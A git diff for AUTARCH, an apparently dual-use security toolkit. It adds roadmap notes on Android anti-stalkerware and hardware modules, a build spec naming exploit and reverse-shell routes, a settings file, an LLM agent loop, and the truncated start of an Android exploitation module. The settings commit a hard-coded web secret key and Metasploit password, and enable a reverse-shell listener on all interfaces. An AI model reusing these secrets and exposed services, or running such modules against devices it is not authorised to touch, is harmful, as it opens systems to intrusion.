wireguard_status, upnp_status, system_info, llm_chat, android_devices, config_get +- **Transports:** stdio (for Claude Desktop/Code), SSE (for web clients) +- **CLI:** `python autarch.py --mcp [stdio|sse]` with `--mcp-port` +- **Web:** 4 API endpoints under `/settings/mcp/` (status, start, stop, config) +- **Menu:** option [10] MCP Server with start/stop SSE, show config, run stdio +- Config snippet generator for Claude Desktop / Claude Code integration + +### Systemd Service + Sideload +- `scripts/autarch-web.service` — systemd unit file for web dashboard +- `autarch.py --service [install|start|stop|restart|status|enable|disable]` +- Menu [8] Web Service — full service management UI +- Menu [9] Sideload App — push Archon APK to Android device via ADB + +### Web UI LLM Settings +- Settings page now shows all 4 backends with save+activate forms +- Each backend has its own form with relevant settings +- `/settings/llm` POST route switches backend and saves settings + +--- + +## What Was Recently Added (Phase 4.9) + +### Archon — Android Companion App +- **Location:** `autarch_companion/` (29 files) +- **Package:** `com.darkhal.archon` — Kotlin, Material Design 3, Single Activity + Bottom Nav +- **Name origin:** Greek ἄρχων (archon = ruler), etymological root of "autarch" +- **4 Tabs:** + - **Dashboard** — ADB TCP/IP toggle, USB/IP export toggle, kill/restart ADB with 5s auto-restart watchdog, WireGuard tunnel status + - **Links** — Grid of 9 cards linking to AUTARCH web UI sections (Dashboard, WireGuard, Shield, Hardware, Wireshark, OSINT, Defense, Offense, Settings) + - **BBS** — Terminal-style WebView for Autarch BBS via Veilid protocol (placeholder — veilid-wasm integration pending VPS deployment) + - **Settings** — Server IP, web/ADB/USB-IP ports, auto-restart toggle, BBS address, connection test +- **Key files:** + - `service/AdbManager.kt` — ADB TCP/IP enable/disable, kill/restart, status check via root shell + - `service/UsbIpManager.kt` — usbipd start/stop, device listing, bind/unbind + - `util/ShellExecutor.kt` — Shell/root command execution with timeout + - `util/PrefsManager.kt` — SharedPreferences wrapper for all config + - `assets/bbs/` — BBS terminal HTML/CSS/JS with command system and Veilid bridge placeholder +- **Theme:** Dark hacker aesthetic — terminal green (#00FF41) on black (#0D0D0D), monospace fonts +- **Build:** Gradle 8.5, AGP 8.2.2, Kotlin 1.9.22, minSdk 26, targetSdk 34 +- **Network Discovery:** + - Server: `core/discovery.py` — DiscoveryManager singleton, mDNS (`_autarch._tcp.local.`) + Bluetooth (name="AUTARCH", requires security) + - App: `service/DiscoveryManager.kt` — NSD (mDNS) + Wi-Fi Direct + Bluetooth scanning, auto-configures server IP/port + - Priority: LAN mDNS > Wi-Fi Direct > Bluetooth + - Config: `autarch_settings.conf [discovery]` section, 3 API routes under `/settings/discovery/` + +--- + +## Previously Added (Phase 4.8) + +### WireGuard VPN + Remote ADB +- See devjournal.md Session 15 for full details + +--- + +## Previously Added (Phase 4.7) + +### Tracking Honeypot — Feed Fake Data to Ad Trackers +- **Concept**: Feed fake data to ad trackers (Google, Meta, data brokers) while letting real apps function normally +- `data/tracker_domains.json` — 2000+ tracker domains from EasyList/EasyPrivacy/Disconnect patterns + - 5 categories: advertising (882), analytics (332+), fingerprinting (134), social_tracking (213), data_brokers (226) + - 12 company profiles (Google, Meta, Amazon, Microsoft, etc.) with SDK package names + - 139 known Android tracker SDK packages + - 25 tracking-related Android permissions + - 4 ad-blocking DNS providers (AdGuard, NextDNS, Quad9, Mullvad) + - Fake data templates: 35 locations, 42 searches, 30 purchases, 44 interests, 25 device models +- `core/android_protect.py` — added ~35 honeypot methods to AndroidProtectManager + - **3 tiers of protection**: Tier 1 (ADB), Tier 2 (Shizuku), Tier 3 (Root) + - **Tier 1**: Reset ad ID, opt out tracking, ad-blocking DNS, disable location scanning, disable diagnostics + - **Tier 2**: Restrict background data, revoke tracking perms, clear tracker data, force-stop trackers + - **Tier 3**: Hosts file blocklist, iptables redirect, fake GPS, rotate device identity, fake device fingerprint + - **Composite**: Activate/deactivate all protections by tier, per-device state persistence + - **Detection**: Scan tracker apps, scan tracker permissions, view ad tracking settings +- `modules/android_protect.py` — added menu items 70-87 with 18 handler methods +- `web/routes/android_protect.py` — added 28 honeypot routes under `/android-protect/honeypot/` +- `web/templates/android_protect.html` — added 5th "Honeypot" tab with 7 sections and ~20 JS functions + +--- + +## Previously Added (Phase 4.6) + +### Android Protection Shield — Anti-Stalkerware & Anti-Spyware +- `core/android_protect.py` - AndroidProtectManager singleton (~650 lines) + - **Stalkerware detection**: scans installed packages against 275+ known stalkerware signatures across 103 families + - **Government spyware detection**: checks for Pegasus, Predator, Hermit, FinSpy, QuaDream, Candiru, Chrysaor, Exodus, Phantom, Dark Caracal indicators (files, processes, properties) + - **System integrity**: SELinux, verified boot, dm-verity, su binary, build fingerprint + - **Hidden app detection**: apps without launcher icons (filtered from system packages) + - **Device admin audit**: flags suspicious device admins against stalkerware DB + - **Accessibility/notification listener abuse**: flags non-legitimate services + - **Certificate audit**: user-installed CA certs (MITM detection) + - **Network config audit**: proxy hijacking, DNS, VPN profiles + - **Developer options check**: USB debug, unknown sources, mock locations, OEM unlock + - **Permission analysis**: dangerous combo finder (8 patterns), per-app breakdown, heatmap matrix + - **Remediation**: disable/uninstall threats, revoke permissions, remove device admin, remove CA certs, clear proxy + - **Shizuku management**: install, start, stop, status check for privileged operations on non-rooted devices + - **Shield app management**: install, configure, grant permissions to protection companion app + - **Signature DB**: updatable from GitHub (AssoEchap/stalkerware-indicators), JSON format + - **Scan reports**: JSON export, per-device storage in `data/android_protect//scans/` +- `modules/android_protect.py` - CLI module (CATEGORY=defense) with 30+ menu items +- `web/routes/android_protect.py` - Flask blueprint with 33 routes under `/android-protect/` +- `web/templates/android_protect.html` - Web UI with 4 tabs (Scan, Permissions, Remediate, Shizuku) +- `data/stalkerware_signatures.json` - Threat signature database (103 families, 275 packages, 10 govt spyware, 8 permission combos) +- Modified `web/app.py` — registered `android_protect_bp` blueprint +- Modified `web/templates/base.html` — added "Shield" link in Tools sidebar section + +--- + +## Previously Added (Phase 4.5) + +### Hardware Module - ADB/Fastboot/ESP32 Access +- `core/hardware.py` - HardwareManager singleton (646 lines) + - ADB: device listing, info, shell (with command sanitization), reboot, sideload, push/pull, logcat + - Fastboot: device listing, info, partition flash (whitelist), reboot, OEM unlock + - Serial/ESP32: port listing, chip detection, firmware flash with progress, serial monitor + - All long operations run in background threads with progress tracking +- `modules/hardware_local.py` - CLI module with interactive menu (263 lines) +- `modules/hardware_remote.py` - Web UI redirect stub (26 lines) +- `web/routes/hardware.py` - Flask blueprint with ~20 endpoints + SSE streams (307 lines) +- `web/templates/hardware.html` - Full UI with Android/ESP32 tabs (309 lines) +- JS functions in `app.js` (16+ hw*() functions, lines 1100-1477) +- CSS styles: `--hardware: #f97316` (orange), progress bars, serial monitor, device grids + +### Session 11 (2026-02-14) - Nmap & Scan Monitor +- Nmap scanner added to OSINT recon module (9 scan types, live-streaming output) +- Scan monitor added to defense module (tcpdump SYN capture, per-IP tracking, counter-scan) + +### Session 12 (2026-02-14) - Path Portability & Bundled Tools (Phase 5) +- Created `core/paths.py` — centralized path resolution for entire project + - `get_app_dir()`, `get_data_dir()`, `get_config_path()`, `get_results_dir()`, etc. + - `find_tool(name)` — unified tool lookup: project dirs first, then system PATH + - `get_platform_tag()` — returns `linux-arm64`, `windows-x86_64`, etc. + - Platform-specific tool directories: `tools/linux-arm64/`, `tools/windows-x86_64/` + - Auto-sets NMAPDIR for bundled nmap data files + - Windows support: checks `.exe` extension, system/user PATH env vars, well-known install paths +- Copied Android platform-tools into `android/` directory (adb, fastboot) +- Copied system tools into `tools/linux-arm64/` (nmap, tcpdump, upnpc, wg + nmap-data/) +- **Convention: ALL Android deps go in `autarch/android/`, all other tools in `tools//`** +- Replaced ALL hardcoded paths across 25+ files: + - `core/hardware.py` — uses `find_tool('adb')` / `find_tool('fastboot')` + - `core/wireshark.py` — uses `find_tool('tshark')` + - `core/upnp.py` — uses `find_tool('upnpc')` + - `core/msf.py` — uses `find_tool('msfrpcd')` + - `core/config.py` — uses `get_config_path()`, `get_templates_dir()` + - `core/cve.py`, `core/sites_db.py`, `core/pentest_session.py`, `core/report_generator.py` — use `get_data_dir()` + - `modules/defender.py` — uses `find_tool('tcpdump')` + - `modules/recon.py` — uses `find_tool('nmap')` + - `modules/adultscan.py`, `modules/dossier.py`, `modules/mysystem.py`, `modules/snoop_decoder.py`, `modules/agent_hal.py`, `modules/setup.py` — use `get_app_dir()` / `get_data_dir()` / `get_reports_dir()` + - `web/app.py`, `web/auth.py`, `web/routes/dashboard.py`, `web/routes/osint.py` — use paths.py + - `core/menu.py` — all `Path(__file__).parent.parent` replaced with `self._app_dir` +- Zero `/home/snake` references remain in any .py file +- Created `requirements.txt` with all Python dependencies + +**Tool resolution verification:** +``` +Platform: linux-arm64 + adb autarch/android/adb [BUNDLED] + fastboot autarch/android/fastboot [BUNDLED] + nmap autarch/tools/linux-arm64/nmap [BUNDLED] + tcpdump autarch/tools/linux-arm64/... [BUNDLED] + upnpc autarch/tools/linux-arm64/... [BUNDLED] + wg autarch/tools/linux-arm64/... [BUNDLED] + msfrpcd /usr/bin/msfrpcd [SYSTEM] + esptool ~/.local/bin/esptool [SYSTEM] +``` + +### Session 13 (2026-02-14) - Browser-Based Hardware Access (WebUSB/Web Serial) +- Created `android_plan.md` — full implementation plan for direct browser-to-device hardware access +- **Architecture: Dual-mode** — Server mode (existing, device on host) + Direct mode (NEW, device on user's PC) +- Bundled 3 JavaScript libraries for browser-based hardware access: + - `@yume-chan/adb` v2.5.1 + `@yume-chan/adb-daemon-webusb` v2.3.2 → `adb-bundle.js` (57KB) + - `android-fastboot` v1.1.3 (kdrag0n/fastboot.js) → `fastboot-bundle.js` (146KB) + - `esptool-js` v0.5.7 (Espressif) → `esptool-bundle.js` (176KB) +- Build infrastructure: `package.json`, `scripts/build-hw-libs.sh`, `src/*-entry.js` + - Uses esbuild to create IIFE browser bundles from npm packages + - Build is dev-only; bundled JS files are static assets served by Flask +- Created `web/static/js/hardware-direct.js` (752 lines) — unified browser API: + - **ADB via WebUSB**: device enumeration, connect, shell, getprop, reboot, push/pull files, logcat, install APK + - **Fastboot via WebUSB**: connect, getvar, flash partition with progress, reboot, OEM unlock, factory ZIP flash + - **ESP32 via Web Serial**: port select, chip detect, firmware flash with progress, serial monitor + - ADB key management via Web Crypto API + IndexedDB (persistent RSA keys) +- Rewrote `web/templates/hardware.html` (309→531 lines): + - Connection mode toggle bar (Server / Direct) + - Direct-mode capability detection (WebUSB, Web Serial support) + - Direct-mode connect/disconnect buttons for ADB, Fastboot, ESP32 + - File picker inputs (direct mode uses browser File API instead of server paths) + - New "Factory Flash" tab (PixelFlasher PoC) +- Updated `web/static/js/app.js` (1477→1952 lines): + - All hw*() functions are now mode-aware (check hwConnectionMode) + - Server mode: existing Flask API calls preserved unchanged + - Direct mode: routes through HWDirect.* browser API + - Mode toggle with localStorage persistence + - Factory flash workflow: ZIP upload → flash plan → progress tracking +- Updated `web/static/css/style.css`: mode toggle bar, checkbox styles, warning banners +- Added `{% block extra_head %}` to `web/templates/base.html` for page-specific script includes + +--- + +## What's Left + +### Phase 7: System Tray + Beta Release — TODO + +#### System Tray (pystray + Pillow) +- `autarch.py` — add `--tray` flag to launch in system tray mode +- `core/tray.py` — `TrayManager` using `pystray` + `PIL.Image` +- **Tray icon menu:** + - Open Dashboard (opens browser to http://localhost:8080) + - Server Settings submenu: + - Server address/port + - Default model folder + - Default tools folder + - Auto-start on login toggle + - Metasploit Integration submenu: + - MSF RPC host + port + password + - Start msfrpcd (runs `find_tool('msfrpcd')` with auto SSL) + - Connect to existing msfrpcd + - RPC connection status indicator + - Separator + - Start/Stop Web Server + - View Logs + - Separator + - Quit + +#### Beta Release +- `release/` — output folder for distribution artifacts +- `release/autarch.spec` — PyInstaller spec file: + - One-file EXE (--onefile) or one-dir (--onedir) bundle + - Include: `data/`, `web/`, `models/` (optional), `tools/`, `android/`, `autarch_settings.conf` + - Console window: optional (--noconsole for tray-only mode, --console for CLI mode) + - Icon: `web/static/img/autarch.ico` +- `release/build_exe.bat` / `release/build_exe.sh` — build scripts +- `release/autarch.wxs` or `release/installer.nsi` — MSI/NSIS installer: + - Install to `%PROGRAMFILES%\AUTARCH\` + - Create Start Menu shortcut + - Register Windows service option + - Include Metasploit installer link if not found + - Uninstaller + +### Phase 4.5 Remaining: Browser Hardware Access Polish +- Test WebUSB ADB connection end-to-end with a physical device +- Test WebUSB Fastboot flashing end-to-end +- Test Web Serial ESP32 flashing end-to-end +- Test factory ZIP flash (PixelFlasher PoC) with a real factory image +- Add boot.img patching for Magisk/KernelSU (future enhancement) +- HTTPS required for WebUSB in production (reverse proxy or localhost only) +- Note: WebUSB/Web Serial only work in Chromium-based browsers (Chrome, Edge, Brave) + +### Phase 5: Path Portability & Windows Support — MOSTLY DONE + +Completed: +- `core/paths.py` with full path resolution and tool finding +- All hardcoded paths replaced +- Platform-specific tool bundling structure +- requirements.txt + +Remaining: +- Windows-specific `sudo` handling (use `ctypes.windll.shell32.IsUserAnAdmin()` check) +- Bundle Windows tool binaries in `tools/windows-x86_64/` (nmap.exe, tshark.exe, etc.) +- Test on Windows and macOS +- Add `[hardware]` config section for customizable tool paths + +### Phase 6: Docker Packaging + +**Goal:** Portable deployment with all dependencies bundled. + +**Tasks:** +1. Create `Dockerfile` (python:3.11-slim base) +2. Create `docker-compose.yml` (volume mounts for data/models/results) +3. Create `.dockerignore` +4. Create `scripts/entrypoint.sh` (start CLI, web, or both) +5. Create `scripts/install-tools.sh` (nmap, tshark, miniupnpc, wireguard-tools) +6. Expose ports: 8080 (web), 55553 (MSF RPC passthrough) +7. Test full build and deployment + +--- + +## Known Issues / Gaps + +1. ~~**Hardcoded paths**~~ - FIXED (all use core/paths.py now) +2. ~~**No requirements.txt**~~ - FIXED (created) +3. **No `[hardware]` config section** - hardware settings not in autarch_settings.conf +4. **No HTTPS** - web UI runs plain HTTP +5. **No test suite** - no automated tests +6. **Large backup file** - `claude.bk` (213MB) should be cleaned up +7. **tshark not installed** - Wireshark/packet capture limited to scapy +8. **msfrpcd not bundleable** - depends on full Metasploit ruby framework +9. **Windows/macOS untested** - tool bundling structure ready but no binaries yet +10. **Local model folder hardcoded to `models/`** - should use AppData in release build (TODO: change for Phase 7 release) +11. **No OpenAI LLM backend implementation** - config added; `core/llm.py` needs `OpenAILLM` class diff --git a/autarch_public.spec b/autarch_public.spec new file mode 100644 index 0000000..f761feb --- /dev/null +++ b/autarch_public.spec @@ -0,0 +1,126 @@ +# -*- mode: python ; coding: utf-8 -*- +# PyInstaller spec for AUTARCH Public Release +# Build: pyinstaller autarch_public.spec +# Output: dist/autarch_public.exe (single-file executable) + +import sys +from pathlib import Path + +SRC = Path(SPECPATH) + +block_cipher = None + +# ── Data files (non-Python assets to bundle) ───────────────────────────────── +added_files = [ + # Web assets + (str(SRC / 'web' / 'templates'), 'web/templates'), + (str(SRC / 'web' / 'static'), 'web/static'), + + # Data (SQLite DBs, site lists, config defaults) + (str(SRC / 'data'), 'data'), + + # Modules directory (dynamically loaded) + (str(SRC / 'modules'), 'modules'), + + # Root-level config and docs + (str(SRC / 'autarch_settings.conf'), '.'), + (str(SRC / 'user_manual.md'), '.'), + (str(SRC / 'windows_manual.md'), '.'), + (str(SRC / 'custom_sites.inf'), '.'), + (str(SRC / 'custom_adultsites.json'), '.'), +] + +# ── Hidden imports ──────────────────────────────────────────────────────────── +hidden_imports = [ + # Flask ecosystem + 'flask', 'flask.templating', 'jinja2', 'jinja2.ext', + 'werkzeug', 'werkzeug.serving', 'werkzeug.debug', + 'markupsafe', + + # Core libraries + 'bcrypt', 'requests', 'msgpack', 'pyserial', 'qrcode', 'PIL', + 'PIL.Image', 'PIL.ImageDraw', 'cryptography', + + # AUTARCH core modules + 'core.config', 'core.paths', 'core.banner', 'core.menu', + 'core.llm', 'core.agent', 'core.tools', + 'core.msf', 'core.msf_interface', + 'core.hardware', 'core.android_protect', + 'core.upnp', 'core.wireshark', 'core.wireguard', + 'core.mcp_server', 'core.discovery', + 'core.osint_db', 'core.nvd', + + # Web routes (Flask blueprints) + 'web.app', 'web.auth', + 'web.routes.auth_routes', + 'web.routes.dashboard', + 'web.routes.defense', + 'web.routes.offense', + 'web.routes.counter', + 'web.routes.analyze', + 'web.routes.osint', + 'web.routes.simulate', + 'web.routes.settings', + 'web.routes.upnp', + 'web.routes.wireshark', + 'web.routes.hardware', + 'web.routes.android_exploit', + 'web.routes.iphone_exploit', + 'web.routes.android_protect', + 'web.routes.wireguard', + 'web.routes.revshell', + 'web.routes.archon', + 'web.routes.msf', + 'web.routes.chat', + 'web.routes.targets', + 'web.routes.encmodules', + + # Standard library (sometimes missed on Windows) + 'email.mime.text', 'email.mime.multipart', + 'xml.etree.ElementTree', + 'sqlite3', 'json', 'logging', 'logging.handlers', + 'threading', 'queue', 'uuid', 'hashlib', 'zlib', + 'configparser', 'platform', 'socket', 'shutil', + 'importlib', 'importlib.util', 'importlib.metadata', +] + +a = Analysis( + ['autarch.py'], + pathex=[str(SRC)], + binaries=[], + datas=added_files, + hiddenimports=hidden_imports, + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=[ + # Exclude heavy optional deps not needed at runtime + 'torch', 'transformers', 'llama_cpp', 'anthropic', + 'tkinter', 'matplotlib', 'numpy', + ], + noarchive=False, + optimize=0, +) + +pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) + +# ── Single-file executable ─────────────────────────────────────────────────── +exe = EXE( + pyz, + a.scripts, + a.binaries, + a.datas, + [], + name='autarch_public', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + console=True, + disable_windowed_traceback=False, + argv_emulation=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None, + icon=None, +) diff --git a/autarch_settings.conf b/autarch_settings.conf new file mode 100644 index 0000000..3294cbb --- /dev/null +++ b/autarch_settings.conf @@ -0,0 +1,119 @@ +[llama] +model_path = C:\she\autarch\models\Lily-7B-Instruct-v0.2.Q5_K_M.gguf +n_ctx = 2048 +n_threads = 4 +n_gpu_layers = 0 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 1024 +seed = -1 +n_batch = 256 +rope_scaling_type = 0 +mirostat_mode = 0 +mirostat_tau = 5.0 +mirostat_eta = 0.1 +flash_attn = false +gpu_backend = cpu + +[autarch] +first_run = false +modules_path = modules +verbose = false +llm_backend = local +quiet = false +no_banner = false + +[msf] +host = 127.0.0.1 +port = 55553 +username = msf +password = msdf +ssl = true + +[osint] +max_threads = 8 +timeout = 8 +include_nsfw = true + +[transformers] +model_path = C:\she\autarch\models\Lily-Cybersecurity-7B-v0.2 +device = xpu +torch_dtype = auto +load_in_8bit = false +load_in_4bit = true +trust_remote_code = false +max_tokens = 1024 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 +use_fast_tokenizer = true +padding_side = left +do_sample = true +num_beams = 1 +llm_int8_enable_fp32_cpu_offload = false +device_map = auto + +[claude] +api_key = +model = claude-sonnet-4-20250514 +max_tokens = 4096 +temperature = 0.7 + +[pentest] +max_pipeline_steps = 50 +output_chunk_size = 2000 +auto_execute = false +save_raw_output = true + +[rsf] +install_path = +enabled = true +default_target = +default_port = 80 +execution_timeout = 120 + +[upnp] +enabled = true +internal_ip = 10.0.0.26 +refresh_hours = 12 +mappings = 443:TCP,51820:UDP,8080:TCP + +[wireguard] +enabled = true +config_path = /etc/wireguard/wg0.conf +interface = wg0 +subnet = 10.1.0.0/24 +server_address = 10.1.0.1 +listen_port = 51820 +default_dns = 1.1.1.1, 8.8.8.8 +default_allowed_ips = 0.0.0.0/0, ::/0 + +[huggingface] +api_key = +model = mistralai/Mistral-7B-Instruct-v0.3 +endpoint = +max_tokens = 1024 +temperature = 0.7 +top_p = 0.9 + +[discovery] +enabled = true +mdns_enabled = true +bluetooth_enabled = true +bt_require_security = true + +[web] +host = 0.0.0.0 +port = 8181 +secret_key = 23088243f11ce0b135c64413073c8c9fc0ecf83711d5f892b68f95b348a54007 +mcp_port = 8081 + +[revshell] +enabled = true +host = 0.0.0.0 +port = 17322 +auto_start = false + diff --git a/core/__init__.py b/core/__init__.py new file mode 100644 index 0000000..798a53c --- /dev/null +++ b/core/__init__.py @@ -0,0 +1 @@ +# AUTARCH Core Framework diff --git a/core/agent.py b/core/agent.py new file mode 100644 index 0000000..2ea2927 --- /dev/null +++ b/core/agent.py @@ -0,0 +1,413 @@ +""" +AUTARCH Agent System +Autonomous agent that uses LLM to accomplish tasks with tools +""" + +import re +import json +from typing import Optional, List, Dict, Any, Callable +from dataclasses import dataclass, field +from enum import Enum + +from .llm import get_llm, LLM, LLMError +from .tools import get_tool_registry, ToolRegistry +from .banner import Colors + + +class AgentState(Enum): + """Agent execution states.""" + IDLE = "idle" + THINKING = "thinking" + EXECUTING = "executing" + WAITING_USER = "waiting_user" + COMPLETE = "complete" + ERROR = "error" + + +@dataclass +class AgentStep: + """Record of a single agent step.""" + thought: str + tool_name: Optional[str] = None + tool_args: Optional[Dict[str, Any]] = None + tool_result: Optional[str] = None + error: Optional[str] = None + + +@dataclass +class AgentResult: + """Result of an agent task execution.""" + success: bool + summary: str + steps: List[AgentStep] = field(default_factory=list) + error: Optional[str] = None + + +class Agent: + """Autonomous agent that uses LLM and tools to accomplish tasks.""" + + SYSTEM_PROMPT = """You are AUTARCH, an autonomous AI agent created by darkHal and Setec Security Labs. + +Your purpose is to accomplish tasks using the tools available to you. You think step by step, use tools to gather information and take actions, then continue until the task is complete. + +## How to respond + +You MUST respond in the following format for EVERY response: + +THOUGHT: [Your reasoning about what to do next] +ACTION: [tool_name] +PARAMS: {"param1": "value1", "param2": "value2"} + +OR when the task is complete: + +THOUGHT: [Summary of what was accomplished] +ACTION: task_complete +PARAMS: {"summary": "Description of completed work"} + +OR when you need user input: + +THOUGHT: [Why you need to ask the user] +ACTION: ask_user +PARAMS: {"question": "Your question"} + +## Rules +1. Always start with THOUGHT to explain your reasoning +2. Always specify exactly one ACTION +3. Always provide PARAMS as valid JSON (even if empty: {}) +4. Use tools to verify your work - don't assume success +5. If a tool fails, analyze the error and try a different approach +6. Only use task_complete when the task is fully done + +{tools_description} +""" + + def __init__( + self, + llm: LLM = None, + tools: ToolRegistry = None, + max_steps: int = 20, + verbose: bool = True + ): + """Initialize the agent. + + Args: + llm: LLM instance to use. Uses global if not provided. + tools: Tool registry to use. Uses global if not provided. + max_steps: Maximum steps before stopping. + verbose: Whether to print progress. + """ + self.llm = llm or get_llm() + self.tools = tools or get_tool_registry() + self.max_steps = max_steps + self.verbose = verbose + + self.state = AgentState.IDLE + self.current_task: Optional[str] = None + self.steps: List[AgentStep] = [] + self.conversation: List[Dict[str, str]] = [] + + # Callbacks + self.on_step: Optional[Callable[[AgentStep], None]] = None + self.on_state_change: Optional[Callable[[AgentState], None]] = None + + def _set_state(self, state: AgentState): + """Update agent state and notify callback.""" + self.state = state + if self.on_state_change: + self.on_state_change(state) + + def _log(self, message: str, level: str = "info"): + """Log a message if verbose mode is on.""" + if not self.verbose: + return + + colors = { + "info": Colors.CYAN, + "success": Colors.GREEN, + "warning": Colors.YELLOW, + "error": Colors.RED, + "thought": Colors.MAGENTA, + "action": Colors.BLUE, + "result": Colors.WHITE, + } + symbols = { + "info": "*", + "success": "+", + "warning": "!", + "error": "X", + "thought": "?", + "action": ">", + "result": "<", + } + + color = colors.get(level, Colors.WHITE) + symbol = symbols.get(level, "*") + print(f"{color}[{symbol}] {message}{Colors.RESET}") + + def _build_system_prompt(self) -> str: + """Build the system prompt with tools description.""" + tools_desc = self.tools.get_tools_prompt() + return self.SYSTEM_PROMPT.format(tools_description=tools_desc) + + def _parse_response(self, response: str) -> tuple[str, str, Dict[str, Any]]: + """Parse LLM response into thought, action, and params. + + Args: + response: The raw LLM response. + + Returns: + Tuple of (thought, action_name, params_dict) + + Raises: + ValueError: If response cannot be parsed. + """ + # Extract THOUGHT + thought_match = re.search(r'THOUGHT:\s*(.+?)(?=ACTION:|$)', response, re.DOTALL) + thought = thought_match.group(1).strip() if thought_match else "" + + # Extract ACTION + action_match = re.search(r'ACTION:\s*(\w+)', response) + if not action_match: + raise ValueError("No ACTION found in response") + action = action_match.group(1).strip() + + # Extract PARAMS + params_match = re.search(r'PARAMS:\s*(\{.*?\})', response, re.DOTALL) + if params_match: + try: + params = json.loads(params_match.group(1)) + except json.JSONDecodeError: + # Try to fix common JSON issues + params_str = params_match.group(1) + # Replace single quotes with double quotes + params_str = params_str.replace("'", '"') + try: + params = json.loads(params_str) + except json.JSONDecodeError: + params = {} + else: + params = {} + + return thought, action, params + + def _execute_tool(self, tool_name: str, params: Dict[str, Any]) -> str: + """Execute a tool and return the result. + + Args: + tool_name: Name of the tool to execute. + params: Parameters for the tool. + + Returns: + Tool result string. + """ + result = self.tools.execute(tool_name, **params) + + if result["success"]: + return str(result["result"]) + else: + return f"[Error]: {result['error']}" + + def run(self, task: str, user_input_handler: Callable[[str], str] = None, + step_callback: Optional[Callable[['AgentStep'], None]] = None) -> AgentResult: + """Run the agent on a task. + + Args: + task: The task description. + user_input_handler: Callback for handling ask_user actions. + If None, uses default input(). + step_callback: Optional per-step callback invoked after each step completes. + Overrides self.on_step for this run if provided. + + Returns: + AgentResult with execution details. + """ + if step_callback is not None: + self.on_step = step_callback + self.current_task = task + self.steps = [] + self.conversation = [] + + # Ensure model is loaded + if not self.llm.is_loaded: + self._log("Loading model...", "info") + try: + self.llm.load_model(verbose=self.verbose) + except LLMError as e: + self._set_state(AgentState.ERROR) + return AgentResult( + success=False, + summary="Failed to load model", + error=str(e) + ) + + self._set_state(AgentState.THINKING) + self._log(f"Starting task: {task}", "info") + + # Build initial prompt + system_prompt = self._build_system_prompt() + self.conversation.append({"role": "system", "content": system_prompt}) + self.conversation.append({"role": "user", "content": f"Task: {task}"}) + + step_count = 0 + + while step_count < self.max_steps: + step_count += 1 + self._log(f"Step {step_count}/{self.max_steps}", "info") + + # Generate response + self._set_state(AgentState.THINKING) + try: + prompt = self._build_prompt() + response = self.llm.generate( + prompt, + stop=["OBSERVATION:", "\nUser:", "\nTask:"], + temperature=0.3, # Lower temperature for more focused responses + ) + except LLMError as e: + self._set_state(AgentState.ERROR) + return AgentResult( + success=False, + summary="LLM generation failed", + steps=self.steps, + error=str(e) + ) + + # Parse response + try: + thought, action, params = self._parse_response(response) + except ValueError as e: + self._log(f"Failed to parse response: {e}", "error") + self._log(f"Raw response: {response[:200]}...", "warning") + # Add error feedback and continue + self.conversation.append({ + "role": "assistant", + "content": response + }) + self.conversation.append({ + "role": "user", + "content": "Error: Could not parse your response. Please use the exact format:\nTHOUGHT: [reasoning]\nACTION: [tool_name]\nPARAMS: {\"param\": \"value\"}" + }) + continue + + self._log(f"Thought: {thought[:100]}..." if len(thought) > 100 else f"Thought: {thought}", "thought") + self._log(f"Action: {action}", "action") + + step = AgentStep(thought=thought, tool_name=action, tool_args=params) + + # Handle task_complete + if action == "task_complete": + summary = params.get("summary", thought) + step.tool_result = summary + self.steps.append(step) + + if self.on_step: + self.on_step(step) + + self._set_state(AgentState.COMPLETE) + self._log(f"Task complete: {summary}", "success") + + return AgentResult( + success=True, + summary=summary, + steps=self.steps + ) + + # Handle ask_user + if action == "ask_user": + question = params.get("question", "What should I do?") + self._set_state(AgentState.WAITING_USER) + self._log(f"Agent asks: {question}", "info") + + if user_input_handler: + user_response = user_input_handler(question) + else: + print(f"\n{Colors.YELLOW}Agent question: {question}{Colors.RESET}") + user_response = input(f"{Colors.GREEN}Your answer: {Colors.RESET}").strip() + + step.tool_result = f"User response: {user_response}" + self.steps.append(step) + + if self.on_step: + self.on_step(step) + + # Add to conversation + self.conversation.append({ + "role": "assistant", + "content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}" + }) + self.conversation.append({ + "role": "user", + "content": f"OBSERVATION: User responded: {user_response}" + }) + continue + + # Execute tool + self._set_state(AgentState.EXECUTING) + self._log(f"Executing: {action}({params})", "action") + + result = self._execute_tool(action, params) + step.tool_result = result + self.steps.append(step) + + if self.on_step: + self.on_step(step) + + # Truncate long results for display + display_result = result[:200] + "..." if len(result) > 200 else result + self._log(f"Result: {display_result}", "result") + + # Add to conversation + self.conversation.append({ + "role": "assistant", + "content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}" + }) + self.conversation.append({ + "role": "user", + "content": f"OBSERVATION: {result}" + }) + + # Max steps reached + self._set_state(AgentState.ERROR) + self._log(f"Max steps ({self.max_steps}) reached", "warning") + + return AgentResult( + success=False, + summary="Max steps reached without completing task", + steps=self.steps, + error=f"Exceeded maximum of {self.max_steps} steps" + ) + + def _build_prompt(self) -> str: + """Build the full prompt from conversation history.""" + parts = [] + for msg in self.conversation: + role = msg["role"] + content = msg["content"] + + if role == "system": + parts.append(f"<|im_start|>system\n{content}<|im_end|>") + elif role == "user": + parts.append(f"<|im_start|>user\n{content}<|im_end|>") + elif role == "assistant": + parts.append(f"<|im_start|>assistant\n{content}<|im_end|>") + + parts.append("<|im_start|>assistant\n") + return "\n".join(parts) + + def get_steps_summary(self) -> str: + """Get a formatted summary of all steps taken.""" + if not self.steps: + return "No steps executed" + + lines = [] + for i, step in enumerate(self.steps, 1): + lines.append(f"Step {i}:") + lines.append(f" Thought: {step.thought[:80]}...") + if step.tool_name: + lines.append(f" Action: {step.tool_name}") + if step.tool_result: + result_preview = step.tool_result[:80] + "..." if len(step.tool_result) > 80 else step.tool_result + lines.append(f" Result: {result_preview}") + lines.append("") + + return "\n".join(lines) diff --git a/core/android_exploit.py b/core/android_exploit.py new file mode 100644 index 0000000..b5a06a1 --- /dev/null +++ b/core/android_exploit.py @@ -0,0 +1,2804 @@ +""" +AUTARCH Android Exploitation Manager +App extraction, device recon, payload 